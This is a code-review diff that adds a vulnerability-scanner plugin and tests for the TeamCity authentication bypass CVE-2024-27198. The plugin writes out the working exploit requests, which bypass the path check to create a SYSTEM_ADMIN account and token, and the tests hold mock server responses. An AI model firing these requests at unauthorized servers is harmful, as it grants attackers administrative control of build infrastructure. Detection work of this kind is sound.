Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Original file line number Diff line number Diff line change
@@ -0,0 +1,148 @@
# proto-file: proto/templated_plugin.proto
# proto-message: TemplatedPlugin

###############
# PLUGIN INFO #
###############

info: {
type: VULN_DETECTION
name: "JetBrainsTeamCity_CVE_2024_27198"
author: "frkngksl"
version: "1.0"
}

finding: {
main_id: {
publisher: "GOOGLE"
value: "CVE-2024-27198"
}
severity: CRITICAL
title: "JetBrains TeamCity Authentication Bypass Vulnerability (CVE-2024-27198)"
description: "JetBrains TeamCity is a continuous integration and continuous deployment (CI/CD) server used by developers to automate building, testing, and releasing software. This vulnerability is a critical authentication-bypass vulnerability in JetBrains TeamCity that allows a remote, unauthenticated attacker to access endpoints meant to be protected and perform high-privilege actions."
recommendation: "Update the version to 2023.11.4 or later."
related_id: {
publisher: "CVE"
value: "CVE-2024-27198"
}
}

config: {}

###########
# ACTIONS #
###########

actions: {
name: "fingerprint_teamcity"
http_request: {
method: GET
uri: "/login.html"
response: {
http_status: 200
expect_all: {
conditions: [
{ body: {} contains: "<title>Log in to TeamCity" }
]
}
}
}
}

actions: {
name: "create_admin_user"
http_request: {
method: POST
uri: "/hax?jsp=/app/rest/users;.jsp"
headers: [
{ name: "Accept" value: "*/*" },
{ name: "Content-Type" value: "application/json" }
]
data: "{\"username\": \"tsunamitest\", \"password\": \"tsunamitest\", \"email\": \"[email protected]\", \"roles\": {\"role\": [{\"roleId\": \"SYSTEM_ADMIN\", \"scope\": \"g\"}]}}"
response: {
http_status: 200
extract_all: {
patterns: [
{
from_body: {}
regexp: "<user username=\"tsunamitest\" id=\"([^\"]+)\""
variable_name: "userid"
}
]
}
}
}
}

actions: {
name: "create_admin_token"
http_request: {
method: POST
uri: "/hax?jsp=/app/rest/users/id:{{ userid }}/tokens/testtoken;.jsp"
headers: [
{ name: "Accept" value: "*/*" },
{ name: "Content-Type" value: "application/json" }
]
response: {
http_status: 200
extract_all: {
patterns: [
{
from_body: {}
regexp: "value=\"([^\"]+)\""
variable_name: "usertoken"
}
]
}
}
}
}

actions: {
name: "get_user_list"
http_request: {
method: GET
uri: "/app/rest/users"
headers: [
{ name: "Accept" value: "*/*" },
{ name: "Authorization" value: "Bearer {{ usertoken }}" }
]
response: {
http_status: 200
expect_all: {
conditions: [
{ body: {} contains: 'username="tsunamitest"' }
]
}
}
}
}

actions: {
name: "delete_added_user"
http_request: {
method: DELETE
uri: "/app/rest/users/id:{{ userid }}"
headers: [
{ name: "Accept" value: "*/*" },
{ name: "Authorization" value: "Bearer {{ usertoken }}" }
]
response: {
http_status: 204
}
}
}

#############
# WORKFLOWS #
#############

workflows: {
actions: [
"fingerprint_teamcity",
"create_admin_user",
"create_admin_token",
"get_user_list",
"delete_added_user"
]
}
Original file line number Diff line number Diff line change
@@ -0,0 +1,75 @@
# proto-file: proto/templated_plugin_tests.proto
# proto-message: TemplatedPluginTests

config: {
tested_plugin: "JetBrainsTeamCity_CVE_2024_27198"
}

tests: {
name: "whenVulnerable_returnsTrue"
expect_vulnerability: true
mock_http_server: {
mock_responses: [
{
uri: "/login.html"
status: 200
body_content: '<title>Log in to TeamCity &mdash; TeamCity</title>'
},
{
uri: "/hax?jsp=/app/rest/users;.jsp"
status: 200
body_content: '<?xml version="1.0" encoding="UTF-8" standalone="yes"?><user username="tsunamitest" id="4" email="[email protected]" href="/app/rest/users/id:4"><properties count="3" href="/app/rest/users/id:4/properties"><property name="addTriggeredBuildToFavorites" value="true"/><property name="plugin:vcs:anyVcs:anyVcsRoot" value="tsunamitest"/><property name="teamcity.server.buildNumber" value="147512"/></properties><roles><role roleId="SYSTEM_ADMIN" scope="g" href="/app/rest/users/id:4/roles/SYSTEM_ADMIN/g"/></roles><groups count="1"><group key="ALL_USERS_GROUP" name="All Users" href="/app/rest/userGroups/key:ALL_USERS_GROUP" description="Contains all TeamCity users"/></groups></user>'
},
{
uri: "/hax?jsp=/app/rest/users/id:4/tokens/testtoken;.jsp"
status: 200
body_content: '<?xml version="1.0" encoding="UTF-8" standalone="yes"?><token name="testtoken" creationTime="2025-10-09T22:23:56.609Z" value="eyJ0eXAiOiAiVENWMiJ9.LVQ4eGpuS3RuZzdJVHNnV181eDk0cEpKYzlJ.OGQ1NGI4OGMtOGMwNS00MWM4LWFiMzQtNmFlYmMwMDk3NWEz"/>'
},
{
uri: "/app/rest/users"
status: 200
body_content: '<?xml version="1.0" encoding="UTF-8" standalone="yes"?><users count="2"><user username="admin" id="1" href="/app/rest/users/id:1"/><user username="tsunamitest" id="4" href="/app/rest/users/id:4"/></users>'
},
{
uri: "/app/rest/users/id:4"
status: 204
body_content : ''
}
]
}
}

tests: {
name: "whenNotVulnerable_returnsFalse"
expect_vulnerability: false

mock_http_server: {
mock_responses: [
{
uri: "/login.html"
status: 200
body_content: "<!DOCTYPE html>\r\n <html lang=\"en\">\r\n \r\n <head>\r\n <title>Log in to TeamCity; TeamCity</title>"
},
{
uri: "/hax?jsp=/app/rest/users;.jsp"
status: 403
body_content: "Access denied"
}
]
}
}

tests: {
name: "whenNotTeamCity_returnsFalse"
expect_vulnerability: false

mock_http_server: {
mock_responses: [
{
uri: "TSUNAMI_MAGIC_ANY_URI"
status: 200
body_content: "Hello world"
}
]
}
}